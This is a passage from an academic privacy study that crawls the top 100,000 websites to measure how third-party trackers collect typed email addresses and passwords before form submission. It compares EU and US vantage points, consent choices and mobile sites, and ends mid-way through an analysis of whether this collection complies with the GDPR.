100K websites against man-in-the-middle attacks showing
that 62.8% of login pages are vulnerable to adversaries with
moderate resources. Van Acker et al.’s study also showed that
password leaks to third parties are possible on many websites.
Unlike these two studies measuring login page vulnerabili-
ties, we measure the actual misuse by trackers on real-world
websites.

3 Methods

3.1 Extending Tracker Radar Collector
Tracker Radar Collector (TRC) is a modular, multi-threaded
crawler that is tailored for large-scale web measurements. Us-
ing Puppeteer under the hood, TRC takes advantage of all
the capabilities of the Chrome DevTools Protocol. TRC uses
collectors—modules in charge of capturing tracking-related
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behavior—that captures browser API accesses, cookies and
requests. Unlike OpenWPM’s inline instrumentation [63] that
wraps functions and objects with getters, TRC uses Chrome
DevTools Protocol to set conditional breakpoints that are
evaluated when a certain function is called or a property is ac-
cessed. When the debugger hits a breakpoint set by TRC, the
condition script collects the JavaScript stack trace and other
metadata about the property access or function invocation.

In order to detect email and password exfiltration, we ex-
tended TRC by adding a collector that finds and fills email
and password fields. Besides, we extended TRC’s network in-
strumentation to capture WebSocket traffic and HTTP POST
payloads—in addition to GET requests which are already
being intercepted. We also added instrumentation to intercept
JavaScript access to input fields, capturing the access time,
input value, and attributes of the accessed input element. A
high-level overview of our crawler is shown in Figure 1.

3.2 Discovering Inner Pages
Our crawler starts to search email and password fields on
the landing pages. If no field can be found, it tries to fol-
low links to discover fields in the inner pages. To find links
that are more likely to yield email and password fields,
we use a combined regular expression pattern that we ex-
tract from Firefox’s Password Manager module [15]. The
pattern contains several translations of words related to
“sign in”, “sign up” and “register”. We search for this pat-
tern in the following attributes of a, button, div, span ele-
ments: innerText, title, href, placeholder, id, name
and className. We limit ourselves to these four elements
since they can be used to create links on the page. We pri-
oritize elements that exactly match the regular expression
pattern over elements that partially match the pattern. As a
final fallback, we search for links (this time only consider-
ing a, button elements) according to their page coordinates
(i.e., distance from the top left corner). Based on a pilot
crawl of 100K websites, we calculated the median X and
Y position of the links that led to pages with email or pass-
word fields: 1113px and 64.5px, respectively. Note that, since
we used a 1440px-wide viewport in the desktop crawls, this
point is very close to the viewport’s top right corner, where
sign-in/sign-up links are commonly found. This coordinate-
based link detection method increased the number of detected
email fields by around 10%. Within each link category (ex-
act match, loose match, coordinate-based match), we prior-
itize 1) a and button links, 2) links that are in the viewport,
3) links that are on top of other elements (computed via
Document.elementFromPoint()). We arrived at these pri-
oritization steps by comparing email and password yields
using different methods in pilot crawls.

While clicking the links, we keep a record of the URLs we
have visited and we skip links to already visited pages. We
continue to click these sorted links until we find and fill an
email field, or until we clicked ten links. We choose ten as the

maximum number of links to click, since pilot crawls showed
diminishing returns after ten links.

3.3 Identifying Email and Password Fields
After clicking each link, we search for email and password
fields on the new page and on all of its iframes. We search
for iframes since a pilot crawl of top 1K Tranco sites
showed that 3% of email fields are found in iframes. For
detecting password fields, we search for input fields with
type password (i.e. input[type=‘password’]). However,
email input fields do not need to have the email type (i.e.
input[type=‘email’]). In fact, through pilot crawls we
found that many websites, including popular ones such as
facebook.com, use text input elements to accommodate login
with phone numbers or other username formats. To address
this challenge, we integrated into our crawler a pre-trained
email field classifier based on Mozilla Fathom [10]. Fathom
is a supervised learning framework specialized to detect web-
page parts such as popups [14]. We used the Fathom-based
email field detector model used in Firefox Relay add-on [10].
Firefox Relay is a privacy-focused service from Mozilla that
offers free email aliases 1. Using the Fathom-based detector
allowed us to identify 76% more email fields than we would
detect by simply searching for input fields with type email.
This substantial increase may indicate that earlier studies that
relied on email input type could have missed a significant
number of email fields.

3.4 Filling Email and Password Fields
We use a unique email address on each page by adding the
site domain to the email address after a plus (+) character.
This allowed us to uniquely attribute received emails to the
websites they are collected on. To address potential bot de-
tection measures, we simulate user typing behavior by using
randomized intervals for each key press and dwell times, as
well as the delay times between each press. After typing into
each field, we simulate pressing the ‘Tab’ key to switch to
the next form field, while triggering the blur event on the
previously filled element.

Englehardt et al. found that the “Show password” feature,
which changes the type of the password field from password
to text, caused certain session replay scripts to collect the
passwords incidentally [54]. To measure such leaks at large,
the crawler changes the password fields’ type from password
to text before filling the field. This allows us to simulate
the effect of browser extensions such as ShowPassword [26],
which displays passwords in cleartext. We then run a follow-
up crawl without changing the password input type on web-
sites where we identified password leaks. Overall, our pass-
word exfiltration measurements aim to identify the incidental
collection, rather than malicious password theft.

1Coincidentally, Firefox Relay and similar email alias services can be
used as countermeasures against email exfiltration we study in this paper.
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3.5 Interaction with Consent Management Di-
alogs

After the introduction of the GDPR in 2018, more websites
started to show dialogs to get users’ consent for personal data
processing. The acceptance or refusal to give consent may
have an effect on how the website and the third parties may
collect, process and share users’ personal data. While one
expects less tracking and data collection when refusing to
give consent, prior research showed that in certain cases the
opposite may be true: a recent study by Papadogiannakis et
al. found that websites are more likely to use sophisticated
tracking techniques such as ID syncing and fingerprinting
when users reject cookies [77]. Regardless, web privacy stud-
ies such as ours should take consent dialog interaction into
account since it may affect how websites and third parties
behave.

In order to investigate the effect of users’ consent prefer-
ences, we integrate Consent-O-Matic [45] into our crawler.
Developed by Nouwens et al. to study dark patterns in con-
sent dialogs, Consent-O-Matic is a browser extension that can
recognize and interact (e.g., accept or reject cookies) with
various Consent Management Provider (CMP) pop-ups [75].
We configure Consent-O-Matic to log detected CMPs, and
perform the following interactions with the CMPs:

accept-all: Allow processing for all purposes. reject-all:
Disallow processing for all purposes. no-action: Continue
without interacting with the CMP dialog, if any.

3.6 Measurement Configuration

We measure email and password exfiltration on the top
100,000 Tranco websites [66]2. Initially, we used the Tranco
domains without any changes, but we encountered DNS errors
even on most popular websites such as windowsupdate.com—
the eighth most popular site in Tranco. To address this prob-
lem, we matched Tranco domains to URLs listed in the
Chrome User Experience Report [1], which contains actual
URLs visited by Chrome users. When matching domains
to URLs, we pick the URL with the lower rank (more pop-
ular) if there are multiple alternatives. This minor change
increased the successfully visited websites from 94,427 (EU
pilot crawl) to 99,380 (EU final crawl). We used the March
2021 versions of both Tranco and Chrome UX Report lists.

To compare results based on user location, we run two
simultaneous crawls from the EU (Frankfurt) and the US
(New York City)—both using cloud-based servers hosted on
Digital Ocean. For each crawl, we use one server with 16
cores and 32GB RAM.

We limit the maximum crawl duration on a site to 180
seconds and maximum page load time to 90 seconds. After
detecting a CMP on a website, we wait 6 seconds for the CMP
interaction (accept or reject) to complete. We determined

2Available at https://tranco-list.eu/list/6WGX/100000

these timeouts and other crawl parameters based on data from
1K pilot crawls. For instance, we measured how long the
CMP operations take and set the extra wait time to the 99th
percentile of the distribution (6 seconds).

In addition, we run crawls for mobile websites to measure
the email and password exfiltration on the mobile web. We
emulated a mobile browser by adjusting the viewport dimen-
sions, spoofing touch support, and using a mobile user-agent
string. The mobile-specific parameters we used are available
in the TRC source code [34]. For mobile crawls, we fill a
different email address to distinguish emails we received due
to mobile and desktop crawls. We omit experiments with dif-
ferent consent modes for mobile crawls due to limited time
and space.

3.7 Email and Password Leak Detection

Identifying encoded, hashed or obfuscated leaks is a challenge
that we need to address to avoid underestimating leaks. This
challenge was tackled in different ways in prior work in web
privacy measurement studies. Starov et al. compare data from
three different crawls to identify PII in HTTP traffic [83].
Since Starov et al.’s method requires more crawls and manual
analysis, we prefer Englehardt et al.’s method [56], which in-
volves searching for different encodings and hashes of search
terms, including Base64 encoding, and hash functions such as
SHA-256. Starting with the email and password we filled, we
compute a precomputed pool that contains all possible sets of
tokens by iteratively applying the hashes and encodings. We
then search for the leaks in the referrer header, cookies, URL
and POST bodies of the requests, by splitting the contents
by potential separator characters, such as ‘=’. We apply all
possible decodings and we check whether the decoded result
is in the precomputed pool. We repeat this process until we
reach a level of three layers of encodings or decodings. We list
the hash and encoding algorithms we used in Appendix 10.

We improve upon the original method by Englehardt et
al. in several ways. First, in addition to splitting content by
separators and decoding the resulting strings, we search for
different encodings of the search terms (e.g., email and pass-
word values). This enabled us to detect leaks that do not
conform to the standard key=value structure. Similar to the
precomputed pool mentioned above, we iteratively apply the
encodings. Further, we identify two new encodings and one
hash method that were not covered by Englehardt et al.’s origi-
nal detector. The newly discovered encoding methods include
a simple substitution cipher that replaces each letter with an-
other based on a fixed mapping. We extract this mapping from
a third-party script’s source code and incorporate it into the
leak detector. We identified such missed leaks by using the
received emails as proof of email collection. We manually ana-
lyzed scripts from parties that send emails, but were not found
to collect leaked emails. Using this method, we also found
a third party that compresses payloads using lzstring, and
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EU US

Crawl Option no-action accept-all reject-all mobile no-action accept-all reject-all mobile

Crawled URLs 100K 7,720 7,720 100K 100K 7,720 7,720 100K
Successfully loaded websites 99,380 7,716 7,716 99,363 99,437 7,714 7,716 99,409
Crawled pages 625,143 44,752 40,385 597,791 690,394 51,735 49,260 668,848
Websites where we filled email 52,055 5,076 5,115 47,825 53,038 5,071 5,077 49,615
Websites where we filled password 31,002 2,306 2,342 29,422 31,324 2,263 2,283 30,356

Table 1: Desktop crawl statistics based on servers located in the EU and the US. no-action, accept-all, reject-all indicate consent
modes. Crawled pages also include inner pages that we visited.

another third party that hashes email addresses with a fixed
salt, which was hard-coded in their script. Note that using
(salted) email hashes may prevent this third party to match
identities with external entities such as data brokers—unless
the data broker also uses the same salt for hashing emails.

3.8 Determining Tracker-related Leaks
There may be legitimate reasons why email addresses and—
to some extent—passwords are collected before form sub-
mission: For instance, checking whether an email/username
picked by a user is available before form submission. To avoid
counting such cases, we exclude from our analysis all requests
that are sent to first-party domains, or third-party domains
that are not flagged as trackers. When determining third par-
tyness we make use of Tracker Radar’s entity list [12], which
contains a list of domains owned by a company. Using entity-
to-domains mapping allows us to better determine the third
parties, and prevent overcounting the leaks. In addition, we
exclude cases where we filled the email on a page or on an
iframe that has a different domain than the crawled website.
Note that throughout the study by domain, we mean registra-
ble domain name or the effective top-level domain plus one
(eTLD+1).

Lastly, we only consider requests that are sent to end-
points flagged as a tracker by one of Disconnect [51], Who-
tracks.me [32], DuckDuckGo [9] blocklists and uBlock Ori-
gin [16]. For the Disconnect list, we also consider domains
in the “Content” category, which is only blocked if Firefox
is in Private Browsing mode. For uBlock Origin, we use the
blocklists enabled by default in the add-on. These include Ea-
syList, EasyPrivacy and Peter Lowe’s Ad and tracking server
list, among others.

Manual tracker labeling Additionally, we label the leaky
request domains that are not flagged as trackers by any of the
Disconnect, Whotracks.me, DuckDuckGo and uBlock Ori-
gin. For each such domain, we follow a decision algorithm
explained in Appendix 10 to determine the tracker status.
Thanks to this manual analysis, we uncover 41 tracker do-
mains that are not listed in any of the popular blocklists. Man-
ually labeled domains accounted for an increase of 13.4% and
4.2% in the number of websites with email leaks, in the EU

and US crawls, respectively (for no-action, desktop crawls).
We plan to share these domains with blocklists providers.

3.9 Dataset
Our main dataset consists of eight crawls, all of which were
run in May and June of 2021. A total of six desktop crawls
were run from the EU and the US using three consent
modes: no-action, accept-all, reject-all. In addition, two mo-
bile crawls were run using the no-action mode from the two
locations. In the four, no-action crawls (100K websites), we
flag the websites where we detected (but not interacted) the
presence of a CMP using Consent-O-Matic. We then use these
CMP-detected websites in the accept-all and reject-all crawls.
For comparability we use the same 7,720 CMP-detected web-
sites in the accept-all and reject-all crawls on both locations—
the 7,720 websites were detected in the EU crawl. While we
limit our crawls to the top 100K websites, our dataset contains
approximately 2.8M page visits across all crawls considering
the inner pages visited when searching for email and pass-
word fields. In addition to the HTTP request and response
details, our dataset also contains HTML sources, JavaScript
instrumentation logs, and screenshots that can be used to de-
bug the crawler. Each 100K website crawl took five days to
run. The ethics considerations we took into account during
the study can be found in Section 9.

4 Measurement Results

Results in this section are based on desktop crawls and no-
action mode (no interaction with the cookie dialog) unless
otherwise specified.

4.1 Email Leaks
Prevalence of leaks Table 3 shows that email addresses (or
their hashes) are sent to a third-party tracker on 1,844 (EU)
vs. 2,950 (US) distinct websites. This shows that, on more
than a thousand websites, trackers only collect emails when
the website is visited from the US.

Table 2 gives a more detailed overview of the most com-
mon trackers that emails are leaked to. Prom. stands for promi-
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EU US

Leak
Type

Entity
Name

Tracker
Domain

Key
by
key

Num.
sites Prom. Min.

Rank
Entity
Name

Tracker
Domain

Key
by
key

Num.
sites Prom. Min.

Rank

em
ai

l

Taboola taboola.com No 327 302.9 154 LiveRamp rlcdn.com No 524 553.8 217
Adobe bizible.com Yes 160 173.0 242 Taboola taboola.com No 383 499.0 95

FullStory fullstory.com Yes 182 75.6 1,311
Bounce
Exchange bouncex.net No 189 224.7 191

Awin Inc. zenaps.com* No 113 48.7 2,043 Adobe bizible.com Yes 191 212.0 242
awin1.com* No 112 48.5 2,043 Awin zenaps.com* No 119 111.2 196

Yandex yandex.com Yes 121 41.9 1,688 awin1.com* No 118 110.9 196
AdRoll adroll.com No 117 39.6 3,753 FullStory fullstory.com Yes 230 105.6 1,311
Glassbox glassboxdigital.io* Yes 6 31.9 328 Listrak listrakbi.com Yes 226 66.0 1,403
Listrak listrakbi.com Yes 91 24.9 2,219 LiveRamp pippio.com No 138 65.1 567
Oracle bronto.com Yes 90 24.6 2,332 SmarterHQ smarterhq.io* Yes 32 63.8 556
LiveRamp rlcdn.com No 11 20.0 567 Verizon Media yahoo.com* Yes 255 62.3 4,281
SaleCycle salecycle.com Yes 35 17.5 2,577 AdRoll adroll.com No 122 48.6 2,343
Automattic gravatar.com* Yes 38 16.7 2,048 Yandex yandex.ru Yes 141 48.1 1,648
Facebook facebook.com Yes 21 14.8 1,153 Criteo SA criteo.com* No 134 46.0 1,403
Salesforce pardot.com* Yes 36 30.8 2,675 Neustar agkn.com* No 133 45.9 1,403
Oktopost okt.to* Yes 31 11.4 6,589 Oracle addthis.com No 133 45.9 1,403

ps
w

d Yandex
yandex.com
yandex.ru Yes

37
7

12.12
2.41

4,699
12,989 Yandex yandex.ru Yes 45 17.23 1,688

Mixpanel mixpanel.com Yes 1 0.12 84,547 Mixpanel mixpanel.com Yes 1 0.12 84,547
LogRocket lr-ingest.io Yes 1 0.12 82,766 LogRocket lr-ingest.io Yes 1 0.12 82,766

Table 2: Top tracker domains and associated entities that emails or passwords are exfiltrated to in desktop crawls using the
no-action mode which was conducted in May’21. *: Third-party domain is not among the request initiators; that means the leak
could have been triggered by another party. Prominence (Prom.) values have been multiplied by 1,000 for readability.

EU US

All Third
party

Tracking
related All Third

party
Tracking
related

Email 4,395 2,633 1,844 5,518 3,790 2,950
Password 89 87 48 92 87 49

Table 3: The number of distinct websites where email and
passwords are sent to first-party domains vs. third-party do-
mains in desktop crawls using the no-action mode.

nence, a metric developed by Englehardt and Narayanan [57]
which captures both the quantity and popularity of websites a
third party is embedded on. We use prominence to sort third
parties in Table 2 because it better represents the scale of a
given third party’s reach.

In the US crawl, rlcdn.com (LiveRamp, formerly Acxiom)
is the most prominent tracker domain that collects hashed
email addresses. On WebMD and Fox News websites, Liv-
eRamp collected the MD5, SHA-1 and SHA-256 hashes of
the email address typed into the login form. The EU list,
on the other hand, is dominated by Taboola—an advertis-
ing company that was found to promote clickbait and other
problematic content and ads [81, 90]. According to their help
pages, Taboola accepts hashed emails to create target audi-
ences [37] based on over 1.4 billion unique visitors they reach

every month [30].
Cross-domain email sharing for identity matching On

565 of the 1,844 distinct websites (EU) where we identified
email leaks to tracker domains, no script from the request
domain was among the request’s initiators. This means that
these requests are initiated by other parties. Analyzing HTTP
request initiators, and JavaScript stack traces of access to input
fields we found that email leaks to yahoo.com, criteo.com and
dotomi.com are always initiated by other parties. The email
hashes to yahoo.com, for example, are sent by a script from
adthrive.com (CafeMedia)—a digital publishing and ad mon-
etization network that Yahoo has a partnership with [82]. The
Yahoo endpoint (ups.analytics.yahoo.com) that email
hashes are sent to, is described in Yahoo’s ConnectID API
documentation [31]. The documentation mentions that the
API can be used for ID matching and is built on Verizon Me-
dia’s ID Graph, “delivering a higher find rate of audiences on
publishers’ sites [sic] user targeting”. Clickagy(.com), on the
other hand, sends email hashes to up to seven other tracker
domains including agkn.com (Neustar) and pippio.com (Liv-
eRamp), both of which accepts hashed emails for various
services according to their public documentation and privacy
policies [23, 36].

Our findings showed that email addresses or their hashes
are sent to facebook.com on 21 distinct websites in the EU.
On 17 of these, Facebook Pixel’s Automatic Advanced Match-
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EU US

Rank Website Third-party Hash/encoding/compression Rank Website Third-party Hash/encoding/compression

154 usatoday.com* taboola.com Hash (SHA-256) 95 issuu.com taboola.com Hash (SHA-256)
242 trello.com* bizible.com Encoded (URL) 128 businessinsider.com taboola.com Hash (SHA-256)
243 independent.co.uk* taboola.com Hash (SHA-256) 154 usatoday.com taboola.com Hash (SHA-256)
300 shopify.com bizible.com Encoded (URL) 191 time.com bouncex.net Compression (LZW)
328 marriott.com glassboxdigital.io Encoded (BASE-64) 196 udemy.com awin1.com Hash (SHA-256 with salt)
567 newsweek.com* rlcdn.com Hash (MD5, SHA-1, SHA-256) zenaps.com Hash (SHA-256 with salt)
705 prezi.com* taboola.com Hash (SHA-256) 217 healthline.com rlcdn.com Hash (MD5, SHA-1, SHA-256)
754 branch.io* bizible.com Encoded (URL) 234 foxnews.com rlcdn.com Hash (MD5, SHA-1, SHA-256)

1,153 prothomalo.com facebook.com Hash (SHA-256) 242 trello.com* bizible.com Encoded (URL)
1,311 codecademy.com fullstory.com Unencoded 278 theverge.com rlcdn.com Hash (MD5, SHA-1, SHA-256)
1,543 azcentral.com* taboola.com Hash (SHA-256) 288 webmd.com rlcdn.com Hash (MD5, SHA-1, SHA-256)

Table 4: Top ten websites where the filled email was collected by a tracker before form submission in desktop crawls using the
no-action mode. *: Not reproducible anymore as of February 2022.

ing feature [21] was responsible for sending the SHA-256
of the email address in a SubscribedButtonClick event,
despite not clicking any submit button. According to its docu-
mentation, Automatic Advanced Matching captures hashed
customer data including email addresses, phone numbers, first
and last names; from checkout, sign-in and registration forms.
We believe the leaks are due to Facebook’s script interpreting
clicks on irrelevant buttons as “submit button clicked” events.

Website categories In order to compare email exfiltration
across website categories, we query McAfee’s categoriza-
tion service [6]. Note that a website may have multiple cate-
gories. As shown in Table 5, Fashion/Beauty and Online Shop-
ping are the two categories where we detect the most email
exfiltrations—considering only the categories with more than
1,000 websites in our 100K sample. On the other hand, web-
sites categorized as Public Information, Government/Military,
and Games leaked less than 1% of the filled email address. A
somehow surprising result was the following: despite filling
email fields on hundreds of websites categorized as Pornogra-
phy, we have not a single email leak. While surprising, this
is in line with limited prior research on tracking on the adult
websites: a limited 2016 study by Altaweel et al. found that
adult websites have relatively fewer third-party trackers com-
pared to non-adult websites with comparable popularity [44].

Effect of website popularity The number of websites with
email leaks follows a close to a uniform distribution in the
US crawl. On the other hand, in the EU crawl, there are sub-
stantially fewer sites with email leaks on the Tranco top 5K:
only 1.28% sites on the top 5K has email leaks, compared to
the average of 1.87% in websites with rank >5000 (cf. US top
5K: 2.96%, 5K-100K: 2.95%). Popular websites and trackers
may be using questionable data collection methods sparingly
in the EU to avoid GDPR fines or investigations.

Top websites with leaks Table 4 shows the top ten web-
sites with email leaks for each vantage point. We list the third-
party tracker found to collect emails on these sites, along
with the hashing/encoding method used when exfiltrating the
email. News websites such as usatoday.com, foxnews.com

and independent.co.uk, appear high on the lists. This is in
line with prior work which found that news websites contain
the highest number of third parties compared to other web-
site categories [57]. Medical news and information websites
webmd.com and healthline.com are other notable entries for
their sensitive content.

Emails sent key by key As shown in Table 2, certain third
parties send email addresses character-by-character, as the
user types in their address. This behavior appears to be due to
session replay scripts that collect users’ interactions with the
page including key presses and mouse movements [41].

HTTP and WebSocket usage Finally, we observed that
the leaked emails are almost always sent over encrypted
(HTTPS) connections. We only found 15 and 14 websites
where emails are leaked over HTTP in the EU and the US,
respectively. In addition, on 67 websites in the EU and on 132
websites in the US, the leaks were sent over the WebSocket
protocol—to hotjar.com, freshrelevance.com, noibu.com and
decibelinsight.net.

4.2 Password Leaks
Recall that we change the type of password elements to text
before filling them. To better understand why passwords are
collected, we manually analyzed a sample of websites, includ-
ing leaks to non-tracker third parties. We found that, in some
cases, passwords were sent to third parties for checking the
password strength. However, we have not found such a use
case in leaks to trackers. We found most cases we analyzed
to be due to incidental collection by session recording scripts,
most prominently by Yandex Metrica.

Password collection without input type swapping Since
our primary findings are based on changing the type of the
password field, they only apply to a limited number of users
or websites. In order to better characterize password leaks at
large, we ran follow up crawls of websites where we detected
a password leak; but this time we did not change the input
type from password to text. We ran two such crawls, one
from the EU, and one from the US; both desktop crawls. Un-
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EU/US EU US

Categories Sites Filled
sites

Leaky
sites

Filled
sites

Leaky
sites

Fashion/Beauty 1,669 1,176 131 (11.1%) 1,179 224 (19.0%)
Online Shopping 5,395 3,658 345 (9.4%) 3,744 567 (15.1%)
General News 7,390 3,579 235 (6.6%) 3,848 392 (10.2%)
Software/Hardware 4,933 2,834 138 (4.9%) 2,855 162 (5.7%)
Business 13,462 7,805 377 (4.8%) 7,924 484 (6.1%)
... ... ... ... ... ...
Games 2,173 925 9 (1.0%) 896 11 (1.2%)
Public Information 2,346 1,049 8 (0.8%) 1,084 27 (2.5%)
Gov’t/Military 3,754 939 5 (0.5%) 974 7 (0.7%)
Uncategorized 1,616 636 3 (0.5%) 646 2 (0.3%)
Pornography 1,388 528 0 (0.0%) 645 0 (0.0%)

Table 5: Per-category number of websites we crawled, filled
an email field, and observed an email leak to a tracker domain
(based on desktop crawls using the no-action mode). The
percentage under the Leaky sites column is based on total
websites where we could fill an email field (i.e. 100 * Num.
of leaky sites / Num. of filled sites).

less otherwise specified, password leaks presented throughout
this paper are based on these latter crawls, without input type
swapping. We found that passwords are collected by trackers
on 52 distinct websites even for users who do not use Show-
Password or similar extensions. An overwhelming majority
(50/52) of these leaks were due to Yandex Metrica’s session
recording feature. However, a manual analysis of Yandex Met-
rica’s code showed that it has filters to exclude password fields
from the collection. Comparing websites where Yandex col-
lects passwords to websites where it does not, we found that
almost all leaky websites were built using the React frame-
work. Note that 7 of the 52 affected websites are in the Tranco
top 20K, and some of them are major banks and other highly
visible websites such as toyota.ru. We have already reported
this problem to Yandex, and reached out to the affected first
parties as explained in Section 6.

4.3 Vantage Points: EU vs. US

In this section, we compare the results from our two crawl
vantage points: the EU (Germany) and the US (NYC). The
differences in privacy regulations are the main motivation be-
hind this comparison. In the US crawl, the number of websites
with email leaks is 60% higher than that of the EU: 1,844 vs
2,950.

Comparing the websites where we detected an email leak,
we find that 2,950 websites identified in the US crawl are
roughly a superset of the (1,844) websites identified in the
EU crawl: 94.4% of the 1,844 websites detected in the EU
crawl also appears in the list of websites in the US crawl.

Tracker domains such as addthis.com, yahoo.com, dou-
bleclick.net and criteo.com only seem to receive email ad-
dresses in the US crawls, perhaps due to stricter data protec-
tion regulations in the EU. In addition, the most prominent

Consent modes EU US

accept-all 239 242
reject-all 201 199
no-action 202 228

Table 6: The number of distinct websites where emails were
leaked and a CMP was detected in desktop crawls using the
no-action mode.

email collecting tracker across both crawls (rlcdn.com, Liv-
eRamp), is not even among the top ten trackers in the EU
in Table 2. 3 In certain cases, the same tracking script is
served with different content based on the vantage point. For
instance, securedvisit.com, the tracker that uses a substitution
cipher to encrypt its payload (Section 3.7), serves a slightly
different script to EU visitors that disables email collection.

Overall, our results appear to indicate that certain third
parties avoid collecting EU visitors’ email addresses. In Sec-
tion 5, we provide a legal analysis of whether the practice of
collecting emails before form submission complies with the
GDPR.

4.4 The Effect of Consent

Recall that, we found consent popups only on 7,720 (7.7%)
sites in the EU and 5,391 (5.4%) sites in the US (of 100K
sites). Crawling these websites with three consent modes, we
obtain the results in Table 6, which shows the number of web-
sites where we detect CMPs and email leaks to trackers. When
we reject all data processing, the number of sites with leaks to
trackers decreases by 13% in the US, 0.05% in the EU. The
reduction in leaks in both cases is limited confirming Papado-
giannakis et al.’s conclusion that cookie consent choices are
not effective in preventing tracking [77]. Almost no reduction
in the EU leaks, however, may be counter-intuitive. This is
likely due to the limited number of websites where we could
detect CMPs and observe leaks.

4.5 Mobile

We detected leaks on 1,745 and 2,744 distinct mobile web-
sites in the EU and US crawls, respectively (Table 7). Al-
though the number of sites with leaks is lower compared to
desktop crawls, the ratio of the sites with leaks to the sites
where we could fill email is nearly the same in both vantage
points.

The mobile and desktop websites where emails are leaked
to tracker domains overlap substantially but not completely.
The Jaccard similarity of (leaky) desktop and mobile websites
is equal to 66% in the EU and 64% in the US. The difference
between the desktop and mobile results could be due to web-

3In fact, LiveRamp sent a 451 HTTP error code (Unavailable For Legal
Reasons) in responses to requests made in the EU crawl.
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site dynamism and the time difference between the mobile
and desktop crawls (more than a month).

We also found 18 tracker domains that only received email
leaks on mobile crawls such as yieldify.com, td3x.com and
getdrip.com. However, checking the websites associated with
these domains did not suggest that they are only targeting
mobile web visitors. Further, we found 24 domains that only
appear in desktop crawls, further indicating that the difference
could be due to factors such as time difference and website
dynamism.

Leaky/ Filled Sites
EU

Leaky/ Filled Sites
US

Desktop 1,844 / 60,008 (3.0%) 2,950/ 60,999 (4.8%)
Mobile 1,745 / 55,738 (3.1%) 2,744 / 57,715 (4.8%)

Table 7: The number of sites leaking emails or passwords to
trackers, compared to the number of sites where we could
fill an email address in desktop and mobile crawls using the
no-action mode.

4.6 Emails Received on the Filled Addresses

Since our crawler fills a distinct email address for each web-
site, we are able to attribute the received emails to distinct
websites.4 In the six-week period following the crawls, we
received 290 emails from 88 distinct sites on the email ad-
dresses used in the desktop crawls, despite not submitting
any form. Most emails offer a discount, or just invite us back
to their site. The sender websites seem to vary by topic and
theme. Most notable examples include diabetes.org.uk, myp-
illow.com, and walmart.com.mx. On the mobile crawl email
address, we received 187 emails from 71 distinct websites fol-
lowing the four-week period after the crawls—mobile crawls
were run two weeks after the desktop crawls.

5 Does Email Exfiltration Comply With the
GDPR?

In this section, we discuss how email exfiltration can breach
at least three core rules of the General Data Protection Regu-
lation (GDPR) [48]. Roughly speaking, the GDPR could be
seen as a Europe-wide data privacy law. Because of length
constraints, we focus on three main principles of the GDPR,
omitting greater detail.

We discuss email exfiltration in general. We do not discuss
to what extent specific companies comply with the GDPR.
For such a company-specific analysis, each example of email

4A caveat to our method is the following: we did not use separate email
addresses for the EU and the US crawls, thus we cannot attribute the received
emails to visits from specific locations.

exfiltration would have to be assessed separately, considering
all the circumstances of that case.

Does the GDPR apply? The GDPR applies when ‘per-
sonal data’ are processed. Personal data are defined broadly
in the GDPR. Essentially, any information that relates to an
identifiable person is personal data (Article 4.1). For instance,
an email address, an IP address, a tracking cookie, an identifi-
cation number, and an ‘online identifier’ are almost always
personal data. But even hashed or encrypted email addresses
are generally personal data, as far as they contain a unique
identifier that can be linked to a person [4]. Moreover, hashed
email addresses can often be reversed [40]. ‘Processing’ is
defined broadly too in the GDPR: virtually everything that
can be done with personal data is a type of processing (Arti-
cle 4(2)). Hence, if website owners or third parties exfiltrate
an email address, they process personal data and the GDPR
applies.

An organization that processes personal data is a ‘con-
troller’ in GDPR parlance. The ‘controller’ is responsible
for complying with the GDPR, and can be fined for non-
compliance. In the case of email exfiltration, the website
owner and the third party are typically both responsible (as
‘joint controllers’) [33, 69].

Is the GDPR relevant for companies outside Europe?
The territorial scope of the GDPR is complicated, but can be
summarized as follows (Article 3 GDPR). If the controller
is based in the EU, the GDPR applies. But the GDPR can
also apply to controllers based outside the EU. For instance,
offering goods or services to Europeans can trigger the GDPR.
If a website owner sells something and allows payment in
Euros, and processes the personal data of website visitors,
the owner must comply with the GDPR. The GDPR also
applies to controllers based outside the EU, if they ‘monitor’
the behavior of people in the EU. Tracking people online is an
example of such monitoring [59]. Hence, if a company uses
email exfiltration for tracking web users in the EU, it must
comply with the GDPR.

Transparency principle The GDPR has six overarching
principles relating to the processing of personal data. The first
principle says that personal data must be processed ‘fairly
and in a transparent manner’ (Article 5). The controller must
provide comprehensive information about what it does with
personal data, in an ‘intelligible and easily accessible form,
using clear and plain language’ (Article 11). Moreover, the
GDPR requires detailed information about, for instance, the
processing ‘purposes’, and the ‘recipients of the personal data’
(Article 13 and 14). Controllers can provide such information
in a privacy notice.

Does email exfiltration comply with the transparency
principle? If the website does not clearly disclose that it
or a third party exfiltrates email addresses, the exfiltration
breaches the transparency principle. A phrase such as ‘we
share your personal data with selected marketing partners’
does not provide sufficient transparency.
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Purpose limitation principle Does email exfiltration com-
ply with the GDPR’s purpose limitation principle? Roughly
summarized, the purpose limitation says that controllers can
only collect personal data if they specify a clear purpose in
advance. And the controller is not allowed to use the data for
‘incompatible’ new other purposes (Article 6(1)(b)). Suppose
that the first purpose is enabling website visitors to manage
their website account. The first purpose will be something
like ‘remembering the website visitors’ login credentials so
that they can open and maintain an account’. Say that the third
party uses the exfiltrated email address for behavioral adver-
tising, email marketing or tracking people around the web.
Those purposes are incompatible with the original purpose,
and thus prohibited.

The requirement for a legal basis such as consent An-
other important GDPR requirement is that the controller al-
ways needs a ‘legal basis’ to process personal data (Article
6). There are six possible legal bases, including consent. The
requirements for valid consent are strict. For instance, a con-
sent request that is hidden in the small print of a contract or
privacy notice cannot lead to valid consent. Further, a con-
troller cannot assume consent if people fail to opt-out (Article
4(11)). The GDPR does not always require the person’s con-
sent. However, for online tracking and behavioral advertising,
the GDPR does require prior consent [3, 86].

To obtain valid consent to collect website visitors’ email
addresses before they click submit, the consent request would
have to be specific; such as: ‘Do you agree with us collecting
your email address and sharing it with company, A, B, and
C for email marketing before you click submit?’. Only if the
website visitor clearly agrees to such a request, the visitor
gives valid consent to email exfiltration. If the request was
vague, or if the visitor did not clearly express their choice, the
consent is invalid.

In certain situations, email exfiltration might be allowed un-
der the GDPR without the website visitor’s consent. Suppose
that a security firm (third party) exfiltrates a website visitor’s
email address for an extra security check. Assuming that the
security firm complies with all the other GDPR norms, the
firm could be allowed to exfiltrate the email address without
consent (based on Article 6(1)(f)).

Conclusion Email exfiltration by third parties can breach
at least three GDPR requirements. First, if such exfiltration
happens surreptitiously, it violates the transparency principle.
Second, if such exfiltration is used for purposes such as be-
havioral advertising, marketing and online tracking, it also
breaches the purpose limitation principle. Third, if the email
exfiltration is used for behavioral advertising or online track-
